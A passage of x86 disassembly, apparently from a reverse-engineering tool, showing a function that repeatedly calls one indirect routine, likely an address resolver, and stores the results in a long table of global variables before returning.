call dword [0x41e95c]
push dword [0x41ee90]
mov dword [0x41e9c8], eax
push edi
call dword [0x41e95c]
push dword [0x41ee94]
mov dword [0x41e9cc], eax
push edi
call dword [0x41e95c]
push dword [0x41ee98]
mov dword [0x41e9d0], eax
push edi
call dword [0x41e95c]
push dword [0x41ee9c]
mov dword [0x41e9d4], eax
push edi
call dword [0x41e95c]
push dword [0x41eea0]
mov dword [0x41e9d8], eax
push edi
call dword [0x41e95c]
push dword [0x41eea4]
mov dword [0x41e9dc], eax
push esi
call dword [0x41e95c]
push dword [0x41eea8]
mov dword [0x41e9e0], eax
push dword [ebp - 4]
call dword [0x41e95c]
push dword [0x41eeac]
mov dword [0x41e9e4], eax
push dword [ebp - 0x10]
call dword [0x41e95c]
push dword [0x41eeb4]
mov dword [0x41e9e8], eax
push dword [ebp - 0x10]
call dword [0x41e95c]
push dword [0x41eeb0]
mov dword [0x41e9ec], eax
push dword [ebp - 4]
call dword [0x41e95c]
push dword [0x41f07c]
mov dword [0x41e928], eax
push dword [ebp - 0x10]
call dword [0x41e95c]
push dword [0x41eeb8]
mov dword [0x41e9f0], eax
push dword [ebp - 4]
call dword [0x41e95c]
push dword [0x41eec4]
mov dword [0x41e9f4], eax
push dword [ebp - 4]
call dword [0x41e95c]
push dword [0x41eebc]
mov dword [0x41e9f8], eax
push dword [ebp - 4]
call dword [0x41e95c]
push dword [0x41eec0]
mov dword [0x41ea00], eax
push dword [ebp - 4]
call dword [0x41e95c]
push dword [0x41eec8]
mov dword [0x41e9fc], eax
push dword [ebp - 4]
call dword [0x41e95c]
push dword [0x41eecc]
mov dword [0x41ea04], eax
push esi
call dword [0x41e95c]
push dword [0x41eed0]
mov dword [0x41ea08], eax
push esi
call dword [0x41e95c]
push dword [0x41eed4]
mov dword [0x41ea0c], eax
push esi
call dword [0x41e95c]
push dword [0x41eed8]
mov dword [0x41ea10], eax
push esi
call dword [0x41e95c]
push dword [0x41eedc]
mov dword [0x41ea14], eax
push esi
call dword [0x41e95c]
push dword [0x41eee0]
mov dword [0x41ea18], eax
push esi
call dword [0x41e95c]
push dword [0x41eee4]
mov dword [0x41ea1c], eax
push dword [ebp - 4]
call dword [0x41e95c]
push dword [0x41eee8]
mov dword [0x41ea20], eax
push dword [ebp - 4]
call dword [0x41e95c]
push dword [0x41eeec]
mov dword [0x41ea24], eax
push dword [ebp - 4]
call dword [0x41e95c]
push dword [0x41eef0]
mov dword [0x41ea28], eax
push dword [ebp - 8]
call dword [0x41e95c]
push dword [0x41eef4]
mov dword [0x41ea2c], eax
push dword [ebp - 8]
call dword [0x41e95c]
push dword [0x41eef8]
mov dword [0x41ea30], eax
push dword [ebp - 4]
call dword [0x41e95c]
push dword [0x41eefc]
mov dword [0x41ea34], eax
push ebx
call dword [0x41e95c]
push dword [0x41ef00]
mov dword [0x41ea38], eax
push ebx
call dword [0x41e95c]
push dword [0x41ef04]
mov dword [0x41ea3c], eax
push ebx
call dword [0x41e95c]
push dword [0x41ef08]
mov dword [0x41ea40], eax
push dword [ebp - 0x24]
call dword [0x41e95c]
push dword [0x41ef0c]
mov dword [0x41ea44], eax
push esi
call dword [0x41e95c]
push dword [0x41ef10]
mov ebx, dword [ebp - 4]
push ebx
mov dword [0x41ea48], eax
call dword [0x41e95c]
push dword [0x41ef14]
mov dword [0x41ea4c], eax
push ebx
call dword [0x41e95c]
push dword [0x41ef18]
mov dword [0x41ea50], eax
push ebx
call dword [0x41e95c]
push dword [0x41ef1c]
mov dword [0x41ea54], eax
push ebx
call dword [0x41e95c]
push dword [0x41ef20]
mov dword [0x41ea58], eax
push ebx
call dword [0x41e95c]
push dword [0x41ef24]
mov dword [0x41ea5c], eax
push ebx
call dword [0x41e95c]
push dword [0x41ef28]
mov esi, dword [ebp - 0x18]
push esi
mov dword [0x41ea60], eax
call dword [0x41e95c]
push dword [0x41ef2c]
mov dword [0x41ea64], eax
push esi
call dword [0x41e95c]
push dword [0x41ef30]
mov dword [0x41ea68], eax
push esi
call dword [0x41e95c]
push dword [0x41ef34]
mov dword [0x41ea6c], eax
push ebx
call dword [0x41e95c]
push dword [0x41ef38]
mov dword [0x41ea70], eax
push ebx
call dword [0x41e95c]
push dword [0x41ef3c]
mov dword [0x41ea74], eax
push ebx
call dword [0x41e95c]
push dword [0x41ef40]
mov dword [0x41ea78], eax
push ebx
call dword [0x41e95c]
push dword [0x41ef44]
mov dword [0x41ea7c], eax
push ebx
call dword [0x41e95c]
push dword [0x41ef48]
mov dword [0x41ea80], eax
push ebx
call dword [0x41e95c]
push dword [0x41ef4c]
mov dword [0x41ea84], eax
push esi
call dword [0x41e95c]
push dword [0x41ef50]
mov dword [0x41ea88], eax
push ebx
call dword [0x41e95c]
push dword [0x41ef54]
mov dword [0x41ea8c], eax
push ebx
call dword [0x41e95c]
push dword [0x41ef58]
mov dword [0x41ea90], eax
push ebx
call dword [0x41e95c]
push dword [0x41ef5c]
mov dword [0x41ea94], eax
push ebx
call dword [0x41e95c]
push dword [0x41ef60]
mov dword [0x41ea98], eax
push ebx
call dword [0x41e95c]
push dword [0x41ef64]
mov ebx, dword [ebp - 0x28]
push ebx
mov dword [0x41ea9c], eax
call dword [0x41e95c]
push dword [0x41ef68]
mov dword [0x41eaa0], eax
push dword [ebp - 4]
call dword [0x41e95c]
push dword [0x41ef6c]
mov dword [0x41eaa4], eax
push dword [ebp - 4]
call dword [0x41e95c]
push dword [0x41ef70]
mov dword [0x41eaa8], eax
push dword [ebp - 0x14]
call dword [0x41e95c]
push dword [0x41ef74]
mov dword [0x41eaac], eax
push edi
call dword [0x41e95c]
push dword [0x41ef78]
mov dword [0x41eab0], eax
push edi
call dword [0x41e95c]
push dword [0x41ef7c]
mov edi, dword [ebp - 4]
push edi
mov dword [0x41eab4], eax
call dword [0x41e95c]
push dword [0x41ef80]
mov dword [0x41eab8], eax
push edi
call dword [0x41e95c]
push dword [0x41ef84]
mov edi, dword [ebp - 0x10]
push edi
mov dword [0x41eabc], eax
call dword [0x41e95c]
push dword [0x41ef88]
mov dword [0x41eac0], eax
push dword [ebp - 4]
call dword [0x41e95c]
push dword [0x41ef8c]
mov dword [0x41eac4], eax
push dword [ebp - 0xc]
call dword [0x41e95c]
push dword [0x41ef90]
mov dword [0x41eac8], eax
push dword [ebp - 0xc]
call dword [0x41e95c]
push dword [0x41ef94]
mov dword [0x41eacc], eax
push dword [ebp - 4]
call dword [0x41e95c]
push dword [0x41ef98]
mov dword [0x41ead0], eax
push dword [ebp - 0xc]
call dword [0x41e95c]
mov dword [0x41ead4], eax
push dword [0x41ef9c]
push dword [ebp - 4]
call dword [0x41e95c]
push dword [0x41efa0]
mov dword [0x41ead8], eax
push dword [ebp - 4]
call dword [0x41e95c]
push dword [0x41efa4]
mov dword [0x41eadc], eax
push dword [ebp - 8]
call dword [0x41e95c]
push dword [0x41efa8]
mov dword [0x41eae0], eax
push dword [ebp - 4]
call dword [0x41e95c]
push dword [0x41efac]
mov dword [0x41eae4], eax
push ebx
call dword [0x41e95c]
push dword [0x41efb0]
mov dword [0x41eae8], eax
push ebx
call dword [0x41e95c]
push dword [0x41efb4]
mov dword [0x41eaec], eax
push edi
call dword [0x41e95c]
push dword [0x41efb8]
mov dword [0x41eaf0], eax
push edi
call dword [0x41e95c]
push dword [0x41efbc]
mov ebx, dword [ebp - 0xc]
push ebx
mov dword [0x41eaf4], eax
call dword [0x41e95c]
push dword [0x41efc0]
mov dword [0x41eaf8], eax
push ebx
call dword [0x41e95c]
push dword [0x41efc4]
mov dword [0x41eafc], eax
push ebx
call dword [0x41e95c]
push dword [0x41efc8]
mov dword [0x41eb00], eax
push dword [ebp - 4]
call dword [0x41e95c]
push dword [0x41efcc]
mov dword [0x41eb04], eax
push ebx
call dword [0x41e95c]
push dword [0x41efd0]
mov dword [0x41eb08], eax
push ebx
call dword [0x41e95c]
push dword [0x41efd4]
mov dword [0x41eb0c], eax
push ebx
call dword [0x41e95c]
push dword [0x41efd8]
mov dword [0x41eb10], eax
push ebx
call dword [0x41e95c]
push dword [0x41efdc]
mov dword [0x41eb14], eax
push ebx
call dword [0x41e95c]
push dword [0x41efe0]
mov dword [0x41eb18], eax
push ebx
call dword [0x41e95c]
push dword [0x41efe4]
mov dword [0x41eb1c], eax
push ebx
call dword [0x41e95c]
push dword [0x41efe8]
mov dword [0x41eb20], eax
push ebx
call dword [0x41e95c]
mov dword [0x41eb24], eax
push dword [0x41efec]
push ebx
call dword [0x41e95c]
push dword [0x41eff0]
mov dword [0x41eb28], eax
push ebx
call dword [0x41e95c]
push dword [0x41eff4]
mov dword [0x41eb2c], eax
push ebx
call dword [0x41e95c]
push dword [0x41effc]
mov dword [0x41eb30], eax
push ebx
call dword [0x41e95c]
push dword [0x41eff8]
mov dword [0x41eb38], eax
push ebx
call dword [0x41e95c]
push dword [0x41f000]
mov dword [0x41eb34], eax
push ebx
call dword [0x41e95c]
push dword [0x41f004]
mov dword [0x41eb3c], eax
push dword [ebp - 0x14]
call dword [0x41e95c]
push dword [0x41f008]
mov dword [0x41eb40], eax
push esi
call dword [0x41e95c]
push dword [0x41f00c]
mov dword [0x41eb44], eax
push ebx
call dword [0x41e95c]
push dword [0x41f010]
mov ebx, dword [ebp - 0x2c]
push ebx
mov dword [0x41eb48], eax
call dword [0x41e95c]
push dword [0x41f014]
mov esi, dword [ebp - 0xc]
push esi
mov dword [0x41eb4c], eax
call dword [0x41e95c]
push dword [0x41f018]
mov dword [0x41eb50], eax
push ebx
call dword [0x41e95c]
push dword [0x41f01c]
mov dword [0x41eb54], eax
push ebx
call dword [0x41e95c]
push dword [0x41f020]
mov dword [0x41eb58], eax
push ebx
call dword [0x41e95c]
push dword [0x41f024]
mov dword [0x41eb5c], eax
push ebx
call dword [0x41e95c]
push dword [0x41f028]
mov dword [0x41eb60], eax
push ebx
call dword [0x41e95c]
push dword [0x41f02c]
mov dword [0x41eb64], eax
push ebx
call dword [0x41e95c]
push dword [0x41f030]
mov dword [0x41eb68], eax
push ebx
call dword [0x41e95c]
push dword [0x41f034]
mov dword [0x41eb6c], eax
push esi
call dword [0x41e95c]
push dword [0x41f038]
mov dword [0x41eb70], eax
push esi
call dword [0x41e95c]
push dword [0x41f03c]
mov dword [0x41eb74], eax
push esi
call dword [0x41e95c]
push dword [0x41f040]
mov dword [0x41eb78], eax
push ebx
call dword [0x41e95c]
push dword [0x41f044]
mov dword [0x41eb7c], eax
push esi
call dword [0x41e95c]
push dword [0x41f048]
mov dword [0x41eb80], eax
push esi
call dword [0x41e95c]
push dword [0x41f04c]
mov dword [0x41eb84], eax
push edi
call dword [0x41e95c]
push dword [0x41f050]
mov dword [0x41eb88], eax
push edi
call dword [0x41e95c]
push dword [0x41f054]
mov ebx, dword [ebp - 4]
push ebx
mov dword [0x41eb8c], eax
call dword [0x41e95c]
push dword [0x41f058]
mov dword [0x41eb90], eax
push ebx
call dword [0x41e95c]
push dword [0x41f05c]
mov dword [0x41eb94], eax
push dword [ebp - 0x14]
call dword [0x41e95c]
push dword [0x41f060]
mov dword [0x41eb98], eax
push ebx
call dword [0x41e95c]
push dword [0x41f064]
mov dword [0x41eb9c], eax
push ebx
call dword [0x41e95c]
push dword [0x41edb8]
mov dword [0x41eba0], eax
call fcn.00404ea3
push dword [0x41f10c]
mov dword [0x41ede8], eax
call fcn.00404ea3
push dword [0x41f108]
mov dword [0x41f260], eax
call fcn.00404ea3
push dword [0x41edd8]
mov dword [0x41f25c], eax
call fcn.00404ea3
push dword [0x41edac]
mov dword [0x41edec], eax
call fcn.00404ea3
push dword [0x41edb0]
mov dword [0x41ede4], eax
call fcn.00404ea3
add esp, 0x18
mov dword [0x41ede0], eax
pop edi
pop esi
pop ebx
leave
ret